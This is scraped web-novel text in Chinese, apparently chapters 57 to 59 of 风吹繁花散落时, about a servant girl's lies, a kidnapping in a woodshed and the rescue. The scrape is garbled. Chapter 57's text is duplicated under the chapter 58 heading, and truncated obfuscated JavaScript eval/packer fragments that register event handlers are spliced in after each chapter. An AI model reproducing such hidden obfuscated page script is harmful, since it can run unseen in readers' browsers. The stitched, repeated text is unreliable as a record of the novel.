“我花钱。” “那成!”,吴怡瞬间就答应了,美颠颠指挥别人。 吴怡忙了一下午,终于将晚饭做好。李博自然最高兴,他来了这么多日子,还是第一次吃现成的。周启也知道这些天大家辛苦了,带着何平与大家坐在一起。 吴怡终于忙乎完,见只有一个座位了,吴怡简直傻眼,“我那个,我去搬把椅子。” “哎,吴怡,坐着啊,给你留了。” “啊?李大人,这不好吧?”【#¥爱奇文学 ……最快更新】 “吴怡,我和周大人可是借你的光了,你当然得坐上边来啊,快来,大家都要饿死了。” 吴怡看大家也没有反对,只有娉婷白了自己一眼,“那 好吧,谢谢诸位了。” 吴怡一坐下,周启站了起来端起了酒,所有人都跟着端起了酒杯,“诸位,这些天大家都辛苦了,本官就借花献佛,敬诸位一杯。”,说完,大家都一饮而尽。 “这第二杯,本官要敬李大人,多亏李大人,咱们这些天才没有饿死。”,周启与李博相视一笑,李博站起身来,“好说好说。” 吴怡坐在两人中间,傻呵呵笑了。李博一坐下,周启就点名吴怡了,“第三杯酒,本官当然得敬吴怡了,毕竟是她请客,来,大家都敬吴怡一杯。” 话刚落,大家一起起身,敬了吴怡一杯。周启坐下后,吴怡站起身,端起酒杯也敬了大家一杯,随后酒桌可就热闹起来了。 周启给李博、娉婷一使眼色,两人瞬间就明白了,娉婷与李博来到吴怡身边,你一句我一句地捧着吴怡,吴怡喝了点酒,又被捧着,早找不到北了,将钱家的事情都交代了。 “吴怡,你做的饭菜真好吃,你是跟谁学的呀?” “嘿,这我自学的,我从小就给我爹做饭。” “吴怡,以前那个李婶做饭也挺好吃的,就是可惜了,要不是她想不开,我们也不需要李大人天天来做饭呀。” “就是啊,我虽然没见过她,可是大家都说她做饭好吃,真是如雷贯耳啊。” “就是啊,就是不知道她现在在哪,你说她,就算偷了什么东西,我们知府衙门还能缺几两银子吗?我们就缺一个做饭的。” “对呀对呀。” 吴怡被李博和娉婷一句一句地,终于听明白了,“李婶不知道去哪了,要是她回来大家就有饭吃了。” “就是呀,吴怡,你知道她去哪了吗?” “不知道啊。”,吴怡本来也不知道。 “吴怡,你真的没见过她吗?你要是见她了,一定要告诉我们呀,我们可以不追究她,只要她回来给我们做饭吃就成。” “好!”,吴怡坑蒙拐骗的,若是人家不追究简直烧香拜佛,况且吴怡也挺喜欢李婶。 “差不多了吧。”,李博怕吴怡喝多了再不记得这事可就白忙活了。 周启轻轻点点头,便退席离开。娉婷却依旧拉着吴怡说这说那,“吴怡,你今天说帮我,你还记得吗?” “记得呀,放心吧大小姐,明天我就帮你去打听。” “那你今天说什么看后门的呀?你怎么这么快就认识了?” “就是上次,咱们去钻狗洞。” 娉婷差点翻出大白眼,什么咱们去钻,明明你自己钻的,但是娉婷的脸上还笑着,“哦,原来啊,你这么快就跟人家认识了,你好厉害呀!” “嘿嘿嘿。”,吴怡再次被夸都不好意思了,差点将李老四说出来,使劲忍住才没露馅,“ 大小姐,可能我自来熟吧。” 娉婷看没什么好套的了,也心满意足离开了,走时还不忘说一声,“明天别忘帮我打听啊。” “放心吧,我明天一早就去。” 大人们都走了,侍卫门才围过来,与吴怡又喝了一点,夜深了,吴怡便住在了知府衙门。 “大人,看来钱记真的没有问题。” 周启与李博听了吴怡的“闲话”,知道了钱家在茶园上也处于被动状态,并且到现在为止钱家没有查到是谁栽赃他们。 “那就是余年和那两个衙役喽。”,周启悠闲地坐在椅子上,“没想到呀,最终还是吴怡给咱们指了条路。” “哈哈哈,乡下的小丫头,夸几句就给咱们这么多信息。” “那个李婶不在钱家吗?” “也许在呢,她要是藏起来,肯定也会躲着吴怡的呀。” “嗯,要是吴怡能见到她,给咱们带句话也好。不过一个老妇人,不一定会能有胆子给我们作证,也不用报太大希望,还是得找余年别的罪证。” “恩,我还在查那个驿站的小吏。” “你派人去余年老家查查,不在我们徽州更好办一些。” 李博嘴角上扬,“明白。” 第二天吴怡还没有酒醒,娉婷已经等不及。她不信陈明阳出城了,打算从后门进去看看情况。 李老四这两天打听了,吴怡陪老夫人聊天是板上钉钉的事情,她还和钱家的少东家过往甚密,流言都传出来了。李老四想着吴怡怎么也会再来看看自己,今天一早李老四就打算从钱家的后门进去,跟吴怡来个横的。 事情就是这么好巧不巧,娉婷正要敲门,李老四呼啦一下将门打开了,两人一对视都吓了一跳。 李老四赶紧往后退就要把门关上,娉婷哪里肯干,使劲扒着门,“老骗子,本小姐可找到你了!” “你认错人了!你赶紧给我撒手。” “臭骗子,你给我出来,咱们找陈明阳说清楚。” 两人对峙了几句,李老四突然撒手,娉婷由于惯性一下子冲进了陈家的院子。 娉婷趴在地上,回过头就开始骂李老四,“你个混蛋!” 李老四可不想惊动了别人,上来就捂娉婷的嘴。娉婷怎么可能屈服呢,一口要在李老四手上。 “哎哎哎,你给我撒嘴!疼呀!” 娉婷撒开嘴,站了起来,“知道本小姐的厉害了吧,你跟我过来,咱们去见官!” 李老四被娉婷拉着,一只手把着被咬伤的手,“见你妹!你给我撒手!” 娉婷这几天一直在想若不是开始拿个老骗子让陈明阳误会了,也许两人早成了。如今这么巧碰到了,决不能放他跑了。李老四则打死也不能见官,陈明阳收留他也是建立在他装可 怜的基础上,娉婷若非得揭穿他,好不容易来的工作又没了。 李老四一着急,用身子撞了娉婷一下,娉婷没有站稳,又摔在地上。李老四看好了机会,也顾不得手疼了,压制住娉婷,娉婷还想叫喊,李老四哪里允许,上来就给了娉婷一个嘴巴。娉婷被打得有点懵,更加大喊大叫起来。李老四从后边拖着娉婷,娉婷屁股着地,胳膊被李老四架着,双腿使劲往地上蹬,可是这么大动静,陈家居然没有一个人听见。 李老四拖着娉婷来到柴房,刚一松手,娉婷就拼尽全力往外跑,李老四顺手抄起一根木根子狠狠打在娉婷脖子上,娉婷瞬间晕倒。李老四则拿来捆木头的绳子将娉婷五花大绑扔在柴房。刚弄好,院里就来了一人,“李老四!” (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第五十七章 娉婷失踪 - 风吹繁花散落时 - 红酒羊排 正说着,门外小厮通禀,知府衙门的连锁管家求见。 “是找我吗?”,吴怡站起来,心想:肯定是找自己,还是第一次有人来求见呢。 钱宁陪着吴怡出来见客人,连锁虽然着急但是仍不失礼仪,“钱少东家。” 吴怡可管不了这么多,一步来到连锁身边,“连锁管家,你是来找我吗?” “吴怡,我想向你打听一件事。” “什么事呀?” 连锁看了看钱宁,见周围也没有别人,最后还是问出了口,“吴怡,是这样,大小姐已经两天不见踪迹了,她在早晨离开知府衙门之前也没有向任何人透露过去哪。你要知道,以前大小姐外出不归,肯定会派人回来说一声的,如今已经两天了,却音讯全无,大人实在有点担心。所以我在想,就是那天你请客那天,大小姐不是和你说了几句话吗,就是李大人和咱们大人都离席了之后,有侍卫看见你们说了几句话,大小姐还十分高兴的样子,你能告诉我你们那天都说什么了吗?” 吴怡见连锁十分着急,想了想,“管家大人,大小姐没有去陈家钱庄吗?” “陈记钱庄?可是我问过了呀,她没有去,陈家我也问过了,门子没有见到他。是她说她要去陈记钱庄吗?” 吴怡脑子忽然闪现她和娉婷说得话,那天她说自己认识后门的人,是上次钻狗洞时候认识的。前几天春菊还告诉大家大八卦,说周小姐喜欢陈明阳公子,可是陈家根本不让周小姐进门,这让她十分苦恼。 “吴怡?”,连锁本来还在说着,见吴怡似乎想到了什么,“吴怡,你是不是想到什么?” “啊?没有啊。” 连锁在宫里时间长了,最会察言观色,“吴怡,你要是知道什么一定要告诉我,我们大小姐都失踪两天了,要是她出了什么事,你让我们怎么交代呀!这可真不是闹着玩的!” “管家大人,我真的不知道她去哪了。” “吴怡。”,连锁已经拉着吴怡的手,“吴怡,我知道大小姐平时脾气是不好了一些,可是万一她出了什么意外,那你会自责的是不是?我知道你最善良了,你知道告诉我那天你们说了什么就好了,吴怡,我发誓,我们知府衙门绝不会找你麻烦!” “我,我真不知道。” “吴怡!” “连锁管家,吴怡说她不知道,请你放手!”,钱宁见吴怡十分不愿意了,赶紧过来将连锁的手拉开,“连锁管家,我们真的不知道周小姐去哪了,请你还是到别处去找找吧!”,说着钱宁便拉着吴怡往后院走。 “哎,吴怡,吴怡!”,连锁被人拦着,但是心里却明白就算再怎么追问,吴怡也不会说了。 钱宁与吴怡回到书房,吴怡变 得十分紧张,她昨天喝多了,说出了认识陈家后门的人,可是后门的人就是李老四,而在周大人眼中,李老四应该死了才对。谎言的多米诺骨牌马上就要倒下,吴怡现在只好不告诉任何人真相。可是李老四会和周小姐的失踪有关系吗? “吴怡,你怎么了?” “少东家,你说周小姐真的是失踪了吗?” “我也不太清楚,刚才我看连锁管家的确很着急的样子。” 吴怡推说自己有点累了,便从书房出来,打算去找李老四问问情况,确定一下。她当然希望这件事跟李老四没有关系,但是对于李老四,吴怡总是没有把握。 娉婷已经拼劲力气都未能挣脱绳索,加上两天未进水米,娉婷已经十分虚弱。 连锁从钱家出来,心有不甘,他不知道下一步该怎么办,打算再去陈家问问情况。 “管家大人,有情况!” “怎么了?” “前天有人看见小姐往陈家的方向去了。” “什么时候看见的,人呢?” “大人,看见小姐的是一个老婆婆,因为腿脚不好两天才出来一次,前天她正好看见大小姐往陈家去了,只不过是后门方向。” “后门?”,连锁像打了一针强心剂,“走!”,一行人来到钱家与陈家后门的小街上,刚拐过来,正看见吴怡鬼鬼祟祟出了钱家,从狗洞里钻进了陈家。 连锁赶紧去禀告大人,吩咐人在陈家前门、后门守着 吴怡从狗洞进来,猫着腰低声喊李老四。李老四正心情烦躁,再这么下去,娉婷就要饿死了,自己还没有得到娉婷的和解认同。 “死丫头!这些天上哪去了!” “爹,我问你啊,你有没有见到一个小姐来找你,说认识我的。” “什么小姐?还认识你?好呀,现在你是凤凰腾达了,天天跟着公子呀,小姐们的混了,眼里哪还有你爹。” “哎呀不是,爹,她来找陈少东家的,你没见到吗?” 李老四作为陈家家丁,早知道周娉婷对陈明阳死缠烂打,脑子一下子反应过来。“找少东家?没有啊,我没见到!” 吴怡虽然不像连锁那般懂得察言观色,但是李老四一撒谎的表情,吴怡可是认得,“李老四!你赶紧给我说实话!” “我这就是实话啊。” 吴怡绕过李老四自己往里走,一边走一边喊,“大小姐,周大小姐!” 李老四顿时慌了神,“哎呦,你别喊!” “你说不说实话?” “好好好,我说!” 李老四无奈将自己碰瓷娉婷的事情告诉了吴怡,还将自己骗进陈家的事情一并说了。“结果她一下子闯进来,还说要拉我去见官,哎呦,我也是一时冲动,我想给她赔礼道歉,可是 她还挺硬气,根本不理我呀!” 吴怡真不知道该说什么好,指着李老四,全身都颤抖起来,“哎呀!”,吴怡最终没有骂李老四,“人呢?” “柴房呢。” “赶紧把人放了!” “放了?那我怎么办?” “爹,她是知府大人的妹妹,知府大人已经满世界找她了,肯定会找到的,你要是不放,你更吃不了兜着走!” “那我要是把她放了,我不更吃不了兜着走吗?你不知道她多狠呀!她可是把人腿都打折了,可是当街行凶啊,那还是在山东,这人家在自己地盘上,弄死你爹我还不是分分钟的事情吗?” 吴怡也知道娉婷脾气不好,“爹,咱们赶紧把她放了,反正她又不知道你是谁,你赶紧跑。我这有银子,你去别的省,他们也就是在徽州是地头蛇,抓不到你的。” “那我……” “爹!你要是再犹豫,人家周知府把城门一关,你跑都没得跑了。” 李老四下定决心,“好,我先把人放了。” “你赶紧跑,我去放人去!爹,你一定赶紧出城,到了外边给我来封信,我再给你寄银子。” “哎。”,李老四想:关键时刻还得自己亲闺女。 吴怡走到柴房,进去见娉婷耷拉着脑袋,赶紧过来将神索解开,“周小姐,周小姐?”,正叫着,外边冲进来一队人马,吴怡回头一看,正是知府衙门的侍卫们,吴怡正要开动脑筋解释自己为什么在这。侍卫们二话不说将吴怡押了出去,吴怡刚一出门就看见两个人押着李老四走了过来,周启,李博,连锁与陈家东家也站在院子里。 有人将娉婷背走了,陈千朗更加震惊,“这,这怎么……”,陈千朗来到吴怡身边,“你是何人?” 侍卫门将吴怡与李老四都押着跪在了地上,周启的脸色已经十分难看。“陈千朗,你不说我妹妹不在吗?” “大人,我,小民真的不知道周小姐在这里啊。”,陈千朗也跪在了地上,“大人,小民真的不知道,这个女人。”,陈千朗指着吴怡,“这个女人不是我们陈家的,小民不认识她啊。” “吴怡,你说说。” 吴怡跪在地上,头都不敢抬,“大人,我,那个……” 周启用下巴一点李老四,“这不是你爹吗?”,吴怡与李老四相视一眼,李老四没想到自己既骗过知府也碰瓷过知府的妹妹,真是背到家了。 不等吴怡说话,周启又问到,“是你绑得我妹妹?何人指使?说!” 李老四跪在地上,作揖求饶,“大人,小人一时糊涂。” “看来是你自己喽,好,你承认就好!来人,砍掉他的手。” “大人!”,吴怡一听急了,赶紧捂住李老四的手,“大 人,我求求你了,别砍我爹的手,我爹也是一时糊涂,他正要放了大小姐,大人。” “一时糊涂?哼!这是柴房吧?好呀,来人,把他绑起来扔到猪圈里。”,周启转身就走,他现在更想去看看娉婷怎么样了。 “大人饶命啊,大人饶命啊!” “大人,大人。”,吴怡站起来想找周启求情,何平挡住了去路。吴怡把着何平的胳膊,“何大哥,何大哥,我求求你了,看在我们是朋友的份上,求你让我去跟大人求个情。” 何平毫不动摇,最后只是冷冷地说到,“吴怡,我怕你是你误会了,这里没有人是你的朋友。” (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第五十八章 吴怡父女被抓现行 - 风吹繁花散落时 - 红酒羊排 正说着,门外小厮通禀,知府衙门的连锁管家求见。 “是找我吗?”,吴怡站起来,心想:肯定是找自己,还是第一次有人来求见呢。 钱宁陪着吴怡出来见客人,连锁虽然着急但是仍不失礼仪,“钱少东家。” 吴怡可管不了这么多,一步来到连锁身边,“连锁管家,你是来找我吗?” “吴怡,我想向你打听一件事。” “什么事呀?” 连锁看了看钱宁,见周围也没有别人,最后还是问出了口,“吴怡,是这样,大小姐已经两天不见踪迹了,她在早晨离开知府衙门之前也没有向任何人透露过去哪。你要知道,以前大小姐外出不归,肯定会派人回来说一声的,如今已经两天了,却音讯全无,大人实在有点担心。所以我在想,就是那天你请客那天,大小姐不是和你说了几句话吗,就是李大人和咱们大人都离席了之后,有侍卫看见你们说了几句话,大小姐还十分高兴的样子,你能告诉我你们那天都说什么了吗?” 吴怡见连锁十分着急,想了想,“管家大人,大小姐没有去陈家钱庄吗?” “陈记钱庄?可是我问过了呀,她没有去,陈家我也问过了,门子没有见到他。是她说她要去陈记钱庄吗?” 吴怡脑子忽然闪现她和娉婷说得话,那天她说自己认识后门的人,是上次钻狗洞时候认识的。前几天春菊还告诉大家大八卦,说周小姐喜欢陈明阳公子,可是陈家根本不让周小姐进门,这让她十分苦恼。 “吴怡?”,连锁本来还在说着,见吴怡似乎想到了什么,“吴怡,你是不是想到什么?” “啊?没有啊。” 连锁在宫里时间长了,最会察言观色,“吴怡,你要是知道什么一定要告诉我,我们大小姐都失踪两天了,要是她出了什么事,你让我们怎么交代呀!这可真不是闹着玩的!” “管家大人,我真的不知道她去哪了。” “吴怡。”,连锁已经拉着吴怡的手,“吴怡,我知道大小姐平时脾气是不好了一些,可是万一她出了什么意外,那你会自责的是不是?我知道你最善良了,你知道告诉我那天你们说了什么就好了,吴怡,我发誓,我们知府衙门绝不会找你麻烦!” “我,我真不知道。” “吴怡!” “连锁管家,吴怡说她不知道,请你放手!”,钱宁见吴怡十分不愿意了,赶紧过来将连锁的手拉开,“连锁管家,我们真的不知道周小姐去哪了,请你还是到别处去找找吧!”,说着钱宁便拉着吴怡往后院走。 “哎,吴怡,吴怡!”,连锁被人拦着,但是心里却明白就算再怎么追问,吴怡也不会说了。 钱宁与吴怡回到书房,吴怡变 得十分紧张,她昨天喝多了,说出了认识陈家后门的人,可是后门的人就是李老四,而在周大人眼中,李老四应该死了才对。谎言的多米诺骨牌马上就要倒下,吴怡现在只好不告诉任何人真相。可是李老四会和周小姐的失踪有关系吗? “吴怡,你怎么了?” “少东家,你说周小姐真的是失踪了吗?” “我也不太清楚,刚才我看连锁管家的确很着急的样子。” 吴怡推说自己有点累了,便从书房出来,打算去找李老四问问情况,确定一下。她当然希望这件事跟李老四没有关系,但是对于李老四,吴怡总是没有把握。 娉婷已经拼劲力气都未能挣脱绳索,加上两天未进水米,娉婷已经十分虚弱。 连锁从钱家出来,心有不甘,他不知道下一步该怎么办,打算再去陈家问问情况。 “管家大人,有情况!” “怎么了?” “前天有人看见小姐往陈家的方向去了。” “什么时候看见的,人呢?” “大人,看见小姐的是一个老婆婆,因为腿脚不好两天才出来一次,前天她正好看见大小姐往陈家去了,只不过是后门方向。” “后门?”,连锁像打了一针强心剂,“走!”,一行人来到钱家与陈家后门的小街上,刚拐过来,正看见吴怡鬼鬼祟祟出了钱家,从狗洞里钻进了陈家。 连锁赶紧去禀告大人,吩咐人在陈家前门、后门守着 吴怡从狗洞进来,猫着腰低声喊李老四。李老四正心情烦躁,再这么下去,娉婷就要饿死了,自己还没有得到娉婷的和解认同。 “死丫头!这些天上哪去了!” “爹,我问你啊,你有没有见到一个小姐来找你,说认识我的。” “什么小姐?还认识你?好呀,现在你是凤凰腾达了,天天跟着公子呀,小姐们的混了,眼里哪还有你爹。” “哎呀不是,爹,她来找陈少东家的,你没见到吗?” 李老四作为陈家家丁,早知道周娉婷对陈明阳死缠烂打,脑子一下子反应过来。“找少东家?没有啊,我没见到!” 吴怡虽然不像连锁那般懂得察言观色,但是李老四一撒谎的表情,吴怡可是认得,“李老四!你赶紧给我说实话!” “我这就是实话啊。” 吴怡绕过李老四自己往里走,一边走一边喊,“大小姐,周大小姐!” 李老四顿时慌了神,“哎呦,你别喊!” “你说不说实话?” “好好好,我说!” 李老四无奈将自己碰瓷娉婷的事情告诉了吴怡,还将自己骗进陈家的事情一并说了。“结果她一下子闯进来,还说要拉我去见官,哎呦,我也是一时冲动,我想给她赔礼道歉,可是 她还挺硬气,根本不理我呀!” 吴怡真不知道该说什么好,指着李老四,全身都颤抖起来,“哎呀!”,吴怡最终没有骂李老四,“人呢?” “柴房呢。” “赶紧把人放了!” “放了?那我怎么办?” “爹,她是知府大人的妹妹,知府大人已经满世界找她了,肯定会找到的,你要是不放,你更吃不了兜着走!” “那我要是把她放了,我不更吃不了兜着走吗?你不知道她多狠呀!她可是把人腿都打折了,可是当街行凶啊,那还是在山东,这人家在自己地盘上,弄死你爹我还不是分分钟的事情吗?” 吴怡也知道娉婷脾气不好,“爹,咱们赶紧把她放了,反正她又不知道你是谁,你赶紧跑。我这有银子,你去别的省,他们也就是在徽州是地头蛇,抓不到你的。” “那我……” “爹!你要是再犹豫,人家周知府把城门一关,你跑都没得跑了。” 李老四下定决心,“好,我先把人放了。” “你赶紧跑,我去放人去!爹,你一定赶紧出城,到了外边给我来封信,我再给你寄银子。” “哎。”,李老四想:关键时刻还得自己亲闺女。 吴怡走到柴房,进去见娉婷耷拉着脑袋,赶紧过来将神索解开,“周小姐,周小姐?”,正叫着,外边冲进来一队人马,吴怡回头一看,正是知府衙门的侍卫们,吴怡正要开动脑筋解释自己为什么在这。侍卫们二话不说将吴怡押了出去,吴怡刚一出门就看见两个人押着李老四走了过来,周启,李博,连锁与陈家东家也站在院子里。 有人将娉婷背走了,陈千朗更加震惊,“这,这怎么……”,陈千朗来到吴怡身边,“你是何人?” 侍卫门将吴怡与李老四都押着跪在了地上,周启的脸色已经十分难看。“陈千朗,你不说我妹妹不在吗?” “大人,我,小民真的不知道周小姐在这里啊。”,陈千朗也跪在了地上,“大人,小民真的不知道,这个女人。”,陈千朗指着吴怡,“这个女人不是我们陈家的,小民不认识她啊。” “吴怡,你说说。” 吴怡跪在地上,头都不敢抬,“大人,我,那个……” 周启用下巴一点李老四,“这不是你爹吗?”,吴怡与李老四相视一眼,李老四没想到自己既骗过知府也碰瓷过知府的妹妹,真是背到家了。 不等吴怡说话,周启又问到,“是你绑得我妹妹?何人指使?说!” 李老四跪在地上,作揖求饶,“大人,小人一时糊涂。” “看来是你自己喽,好,你承认就好!来人,砍掉他的手。” “大人!”,吴怡一听急了,赶紧捂住李老四的手,“大 人,我求求你了,别砍我爹的手,我爹也是一时糊涂,他正要放了大小姐,大人。” “一时糊涂?哼!这是柴房吧?好呀,来人,把他绑起来扔到猪圈里。”,周启转身就走,他现在更想去看看娉婷怎么样了。 “大人饶命啊,大人饶命啊!” “大人,大人。”,吴怡站起来想找周启求情,何平挡住了去路。吴怡把着何平的胳膊,“何大哥,何大哥,我求求你了,看在我们是朋友的份上,求你让我去跟大人求个情。” 何平毫不动摇,最后只是冷冷地说到,“吴怡,我怕你是你误会了,这里没有人是你的朋友。” (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第五十九章 没人是你的朋友 - 风吹繁花散落时 - 红酒羊排 吴怡见所有人都有序离开,只呆呆站在院中,陈千朗站在吴怡面前,“你是谁呀?我问你话呢,你怎么进来的!” 吴怡终于缓过神,一味鞠躬认错,“对不起,对不起,对不起……” 陈千朗觉得天都要塌了一样,现在得赶紧去知府衙门请罪。 周启终于看见妹妹,娉婷脸色惨白,双眼紧闭。“大夫?” “周大人请放心,小姐只是水米未进,又受了惊吓,身体虚弱,好好调养调养就好了。” 周启终于放心,“好,多谢大夫。连锁,送大夫出去。” 大夫出去后,周启坐在娉婷床前,掏出自己的手帕替娉婷擦脸。 “大人。”,李博走了进来,“小姐怎么样?” “大夫说就是饿晕了,没有大碍。” “那就好。”,李博顿了顿,“大人,余年来了。” “他来干什么?” “说是为了军饷。” “什么军饷?” “这不何统领来了吗?带来的人在城外驻扎,每天都需要花钱,这些钱……” “这不应该兵部管吗?” “咱们与西凉连年局势紧张,兵部的钱都发到西北去了,他们想咱们徽州是富庶之地,理应自己解决军饷。” 周启火气一下子上来了,“岂有此理!” “余年说这也不是没有先例,也不算无理取闹。” “徽州是富庶之地,可是前面那个草包知府居然还留下一大堆亏空,我上哪给他们弄军饷?” “大人,余年的意思是发动徽州商人捐资。” 周启回头看见李博,“他怎么突然这么好心来给我出主意。” “大人,您忘了?年终考核呀。若是徽州年终亏空,他这个同知首先就是不及格,他想往上升,肯定不想不及格呀。” 周启苦笑着摇摇头,“好吧,既然这次大家站在一起了,就好好商量商量怎么套路徽商吧。” 吴怡不知道自己怎么回到钱家的,一进书房看见钱宁,便哭了出来。 “怎么了?吴怡,你怎么了?”,钱宁赶紧过来询问。 “钱宁,我爹被周大人抓起来了。”,吴怡哇哇大哭。 “你爹?你爹送货回来了?” 吴怡瞬间冷静了不少,谎话还得圆,“钱宁,我爹他来找我,可是咱们不是去了京城嘛,他就在陈家找了个工作,可是不知道怎么得罪了周小姐,我爹也是一时冲动,没想到,没想到闯了大祸了。”,吴怡说着哭的更厉害了。 “吴怡,你先别哭,你爹他?难道周小姐失踪和你爹有关系?” 吴怡一边抹泪一边点头,“钱宁,你能不能帮我救救我爹,知府衙门的人都不理我。” 钱宁帮着吴怡擦眼泪,“你别着急,你爹现在被抓到牢里了吗?” 吴怡瞬间又哭了起来,“抓到猪圈里了,啊啊啊啊,钱宁,怎么办呀?” 钱宁还没听说过这种情况,只好先安慰吴怡,“吴怡,吴怡,你听我说,我现在先去知府衙门打听打听情况,你先在这里等我,千万别走开好吗?” 吴怡使劲点头,“钱宁,我,我……” “你先别哭了,我这就去,你就等会,千万别走开啊。” 吴怡见钱宁去打听情况,站在书房里不知所措,又哭了出来。 钱宁从书房出来,正碰到钱朵,“哥哥,出什么事了?你这么着急?” 钱宁本来低头走路,见钱朵心中一慌,“没事,没什么事,我,我那个出去一下。” 钱朵见钱宁十分慌张,心中更加疑虑,“哥,是不是我们钱家又出什么事了?哥,你可别瞒着我呀!” “没有的事,我就是现在有事出去一趟。”,说着,钱宁赶紧跑。 钱朵觉得蹊跷,只是不知道出了什么事,想着等钱宁回来再问问吧。便往书房来想找本书看,结果看见吴怡正站在屋里哭。 “吴怡?你怎么了?” “大小姐。”,吴怡赶紧忍住,将脸上的泪都擦了。 “你怎么了?我哥去哪了。” “去知府衙门。”,吴怡脱口而出。 “知府衙门,吴怡,是不是我们钱家又出了什么祸事?你千万别瞒我。” “不是的大小姐,是我爹,我爹被抓了。”,吴怡的泪水又决堤了,“我爹,我爹不是故意为难周大小姐的,我爹也是一时冲动。” “周大小姐?娉婷姐姐怎么了?” “我不知道,可是看着不太好。小姐,要是周小姐死了,我爹是不是也得死。” 吴怡哭得上气不接下气,钱朵吓了一跳,“娉婷姐姐怎么会死呢?她,前两天不还好好的吗?不行,我得去看看她。” 钱朵说着便出了书房,吴怡还没有意识到自己失言,仍旧痛哭流涕。 钱千朗着急忙慌到知府衙门请罪,周启请钦差与同知一起坐在前厅接待。 “钱老板,我妹妹何处开罪与你?竟遭此毒手?” 钱千朗跪在地上,“大人,小民实在不知道那个李老四与周小姐有何过节,要是我知道周小姐在我们府上,我一定好好招待,怎么可能让小姐受到一点委屈呢。” “哦?是吗?我听说你的下人对我妹妹多有不敬,在背后造谣生事,诋毁我妹妹的声誉,你这个主人就一点责任都没有吗!” “大人,大人说的这些实在是没有的事,怎么会有人诋毁小姐呢,要是有人敢胡说,我第一个不答应!” “陈千朗,本官问你,你儿子与我妹妹什么关系?” 陈千朗一愣,“没有,没有关系,绝无关系。” “那就 好!希望陈老板能够管好自己的家人,若是我妹妹再出事,本官不知道还能不能有这样的耐心!” “是是是,小民一定严加管教家人。” 正在此时,钱朵不顾小厮们阻拦,执意出了家门,与钱宁一前一后来到知府衙门。 钱宁一进前厅,见钦差大人坐在上手的位置,知府大人与同知大人陪坐,陈千朗跪在地上,钱宁稍一犹豫,抱拳施礼。 “少东家何以前来?”,周启率先问话。 “大人,我听说周小姐找到了,故而前来探望。” “是嘛?”,周启刚一发问,正好连锁前来回禀钱朵到衙门来探望周小姐。 钱宁心中疑惑,不知道她怎么来了,但是当着这么多人的面不敢表露。 “那多谢钱家小姐了。”,周启一直面无表情,瞥了一眼还跪在地上的陈千朗,“陈老板,李老四是你的仆人,你觉得本官应该如何处置他呀?” 陈千朗一抱拳,“回大人,他私自关押他人,就是按照大周律例,其罪轻则监禁,重则流放苦寒之地,致他人死亡,哦,当然,周小姐洪福齐天,定会化险为夷,化险为夷。” “大人。”,钱宁在旁边着急了,“关押周小姐的李老四似乎也是无心之失。” “无心之失?”,周启本来只想套路陈千朗,如今钱宁自己送上门那肯定一并“宰”了才行,“钱宁,你没有看见当时的情形,我妹妹被人五花大绑,整整两天差点饿死,你居然说是无心之失?” “大人,李老四他也是一时冲动,请大人给他一次机会。”,说着钱宁也跪在陈千朗旁边。 “给他一次机会?哼。”,周启再次看向陈千朗,“陈千朗,本来我妹妹前些时候就要回家了,一出城遇到马匪,她可是为了救你儿子才又回来了,你们陈家就这么对待救命恩人吗?” “大人,小民对周小姐那真是感恩戴德,感激不尽呐!小民绝没有伤害周小姐的意思,都是那个李老四与周小姐的个人恩怨。” 钱宁明白,陈千朗打算将错处都推给李老四,可是他必需救李老四,“大人,李老四真的是一时冲动,请大人……” “成了,你们的意思本官都知道了,国有国法家有家规,按照我大周律例,此罪断难饶恕!” “哦,周大人。”,余年终于开口了,“周大人莫生气,这个李老四实在可恶,就算五马分尸都不为过,只是这件事发生在陈家,若此事传扬出去对陈家十分不利呀。” “你什么意思?” “周大人莫急,小官只是想起大人刚来那天,说要为维护徽商利益鞠躬尽瘁死而后已。您看,这陈家可是咱们徽州第二大商户,这钱家吗,钱宁,本官刚刚听着你是来给李老四求 情的吧,你们钱家可是徽州城最大的商户啊,你们两家怎么都跟这样的人有了瓜葛。” “余大人,李老四确实一时冲动,只要周小姐能原谅他,他愿意做任何事。”,钱宁虽然不知道余年怎么突然向着两家说话了,但是话还是赶紧接上才对。 “周小姐如此虚弱,他不应该出资请大夫来看看吗?他还得给周小姐一些补品才对呀!” “是是是!” “哼!”,周启冷笑一声,“我堂堂知府衙门还能缺了大夫吗?” “大人,周小姐需要调养,补品我们应当奉上,陈伯伯。” “哦,对对对。周大人,这是应该的应该的。” 周启才瞧不上什么补品呢,白了二人一眼。 “周大人,看在下官的面子上,饶了他们吧。再说了,下官本来来向周大人禀报筹措军饷一事,城外的队伍还等着呢,您看,为了周小姐的事情都耽误多时了。” (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 